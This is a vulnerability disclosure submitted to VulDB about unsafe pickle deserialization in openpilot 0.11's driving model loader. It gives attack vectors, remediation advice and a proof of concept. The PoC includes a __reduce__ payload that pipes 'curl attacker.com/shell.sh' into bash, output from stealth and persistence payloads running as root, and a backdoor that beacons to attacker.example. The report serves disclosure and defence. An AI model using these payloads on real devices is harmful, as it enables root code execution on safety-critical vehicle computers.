Submit #825699: Comma AI Openpilot 0.11 Deserializationinfo

TitleComma AI Openpilot 0.11 Deserialization
DescriptionSummary openpilot uses 14 calls to pickle.load() and pickle.loads() to deserialize neural network models and metadata without any validation, sanitization, or class restriction. Python pickle is documented as insecure, it allows arbitrary code execution during deserialization. An attacker who can replace any of the .pkl files achieves arbitrary code execution as root on a vehicle’s driving computer. Affected Code (Sink Points) 1. selfdrive/modeld/modeld.py — 7 calls (CRITICAL driving process) # Lines 150, 157, 163 — model metadata with open(VISION_METADATA_PATH, 'rb') as f:    vision_metadata = pickle.load(f)       # <-- NO VALIDATION # Lines 190-192 — neural model chunked (read from disk and deserialized) self.vision_run = pickle.loads(read_file_chunked(str(VISION_PKL_PATH))) self.policy_run = pickle.loads(read_file_chunked(str(ON_POLICY_PKL_PATH))) self.off_policy_run = pickle.loads(read_file_chunked(str(OFF_POLICY_PKL_PATH))) # Line 210 — warp JIT compiled (dynamic path based on camera resolution) warp_path = MODELS_DIR / f'warp_{w}x{h}_tinygrad.pkl' with open(warp_path, "rb") as f:    self.update_imgs = pickle.load(f)      # <-- NO VALIDATION 2. selfdrive/modeld/dmonitoringmodeld.py — 3 calls model_metadata = pickle.load(f)                                          # line 34 self.model_run = pickle.loads(read_file_chunked(str(MODEL_PKL_PATH)))    # line 48 self.image_warp = pickle.load(f)                                         # line 59 3. selfdrive/modeld/get_model_metadata.py — 1 call (build-time) 'output_slices': pickle.loads(codecs.decode(output_slices.encode(), "base64")), 4. selfdrive/modeld/compile_warp.py — 1 call 5. selfdrive/debug/print_docs_diff.py — 1 call 6. selfdrive/test/process_replay/model_replay.py — 1 call ________________________________________ Attack Vectors Vector 1: Local .pkl file replacement (most direct) The .pkl files live in selfdrive/modeld/models/ on the device filesystem. The build process (SConscript) compiles ONNX models into pickles and saves them to disk. An attacker with local access to the comma device (SSH, physical access, or malicious app) can replace any .pkl with a malicious payload: import pickle, os class Exploit(object):    def __reduce__(self):        return (os.system, ('curl attacker.com/shell.sh | bash',)) pickle.dump(Exploit(), open('driving_vision_metadata.pkl', 'wb')) On the next modeld startup, the payload executes with root privileges on the embedded system. Vector 2: Supply Chain via OTA update compromise The update system (system/updated/updated.py) performs git fetch + git checkout + git submodule update and swaps the entire openpilot directory. If the remote git repository is compromised (or DNS is hijacked, or MITM on git protocol), compromised .pkl files will be downloaded and executed automatically on next boot. Vector 3: Dynamic path controllable via camera resolution In modeld.py line 208, the warp pickle path is built dynamically: warp_path = MODELS_DIR / f'warp_{w}x{h}_tinygrad.pkl' Where w and h come from bufs[key].width and bufs[key].height via VisionIPC. If an attacker can inject arbitrary values via IPC, they can redirect pickle.load to a prepared file. Vector 4: Chunked file reassembly (read_file_chunked) Large models are stored as chunks (.chunk01of03, etc.) with a manifest text file. An attacker can modify just one chunk or the manifest to inject partial payload into the reassembly before pickle.loads(). ________________________________________ Impact Arbitrary Code Execution Pickle allows __reduce__, __getstate__, etc. to execute arbitrary code Privilege Escalation modeld runs as root on the comma device Vehicle Compromise The compromised process directly controls the driving model — can alter steering/acceleration outputs Persistence Payload in .pkl persists across reboots Safety-Critical This is the process that generates the vehicle’s driving commands ________________________________________ Proof of Concept To simulate the vulnerable scenario, I have created a reduced Docker PoC that isolates the exact vulnerable code pattern from openpilot's modeld into a minimal, reproducible container. The PoC scripts are available at the end of this e-mail. Reproducing with Docker cd poc_cwe502/docker docker build -t cwe502-poc . docker run --rm cwe502-poc PoC output (actual execution — April 7, 2026) ╔══════════════════════════════════════════════════════════╗ ║  CWE-502 PoC — Insecure Deserialization in openpilot   ║ ║  Target: selfdrive/modeld/modeld.py pickle.load()      ║ ╚══════════════════════════════════════════════════════════╝ ──── PHASE 1: ATTACKER generates malicious pickle ──── ============================================================  ATTACKER: Generating malicious pickle payloads ============================================================  [+] Info Exfil      -> /poc/payloads/malicious_metadata.pkl  (712 bytes)  [+] Stealth         -> /poc/payloads/malicious_metadata_stealth.pkl  (542 bytes)  [+] Persistence     -> /poc/payloads/malicious_persistence.pkl  (501 bytes)  Payloads ready. ──── PHASE 2: VICTIM (modeld) loads pickle — RCE ──── [PAYLOAD] RCE achieved! Wrote /tmp/PWNED.txt [PAYLOAD] Persistence backdoor installed ============================================================  VICTIM: Simulating openpilot modeld pickle.load()  Running as UID=0 (root) ============================================================ ── TEST 1: pickle.load(f) [modeld.py:150] ──  [modeld] pickle.load(/poc/payloads/malicious_metadata.pkl)  returned: int = 0 ── TEST 2: pickle.loads(bytes) [modeld.py:190] ──  [modeld] pickle.loads(read_bytes(/poc/payloads/malicious_metadata_stealth.pkl))  returned: dict  keys: ['model_checkpoint', 'output_slices', 'input_shapes', 'output_shapes']  ** STEALTH: valid dict returned, modeld would NOT crash ** ── TEST 3: pickle.load(f) — persistence backdoor ──  [modeld] pickle.load(/poc/payloads/malicious_persistence.pkl) ============================================================  EXPLOITATION RESULTS ============================================================  [!!!] RCE CONFIRMED — /tmp/PWNED.txt contents:    ============================================================      CWE-502 EXPLOITED — ARBITRARY CODE EXECUTION    ============================================================    Timestamp: 2026-04-07 13:24:13.848119    UID: 0    User: unknown    PID: 10    CWD: /poc    Platform: Linux-x.x.x.x-microsoft-standard-WSL2-x86_64-with-glibc2.41    Python: 3.12.13 (main, Apr  7 2026, 02:23:40) [GCC 14.2.0]    Hostname: 8ee544ee30b9    >> Created by pickle.load() — zero validation in modeld    [STEALTH] Executed at 2026-04-07 13:24:13.954075    [STEALTH] UID=0    [STEALTH] Returning fake metadata — modeld continues normally    [PERSISTENCE] Backdoor script installed at /tmp/persistence/crontab_backdoor.sh  [!!!] PERSISTENCE CONFIRMED — /tmp/persistence/crontab_backdoor.sh contents:    #!/bin/sh    # Installed by pickle.load() in modeld    curl <http://attacker.example/beacon?host=8ee544ee30b9> 2>/dev/null ============================================================  VERDICT: CWE-502 FULLY EXPLOITABLE  pickle.load() in modeld = arbitrary code execution ============================================================ Payload Technique Result Info Exfil __reduce__ → os.system() Wrote system info to /tmp/PWNED.txt as UID=0 Stealth __reduce__ → eval() with side-effect + valid return dict Executed code silently AND returned valid metadata — modeld would continue driving normally Persistence __reduce__ → os.system() Installed backdoor shell script in /tmp/persistence/ ________________________________________ Remediation Replace pickle with a safe format (e.g., safetensors, native ONNX, flatbuffers) for models and metadata Digitally sign .pkl files with an asymmetric key and verify the signature before loading If pickle is unavoidable, use RestrictedUnpickler with an explicit class whitelist: import pickle, io ALLOWED = {'numpy', 'numpy.core.multiarray', 'collections', ...} class SafeUnpickler(pickle.Unpickler):    def find_class(self, module, name):        if module.split('.')[0] not in ALLOWED:            raise pickle.UnpicklingError(f"Forbidden:{module}.{name}")        return super().find_class(module, name) Validate chunk integrity (SHA256 hash in manifest) before reassembly ________________________________________ References Python docs: “Warning: The pickle module is not secure. Only unpickle data you trust.” CWE-502: https://cwe.mitre.org/data/definitions/502.html OWASP Deserialization Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html Reproduction (self-contained, no dependencies) Dockerfile: FROM python:3.12-slim # Simulate comma device: modeld runs as root USER root WORKDIR /poc # Copy PoC scripts COPY generate_payload.py /poc/ COPY simulate_victim.py /poc/ # The exploit chain: #   1. Attacker generates malicious .pkl files #   2. Victim (modeld) loads them via pickle.load() — RCE CMD echo "" && \     echo "╔═════════════════════════════════════════════
User
 khellwan (UID 98170)
Submission05/11/2026 18:29 (1 month ago)
Moderation06/14/2026 08:43 (1 month later)
StatusAccepted
VulDB entry370837 [Comma AI Openpilot 0.11 Pickle modeld.py pickle.load/pickle.loads deserialization]
Points17

Do you want to use VulDB in your project?

Use the official API to access entries easily!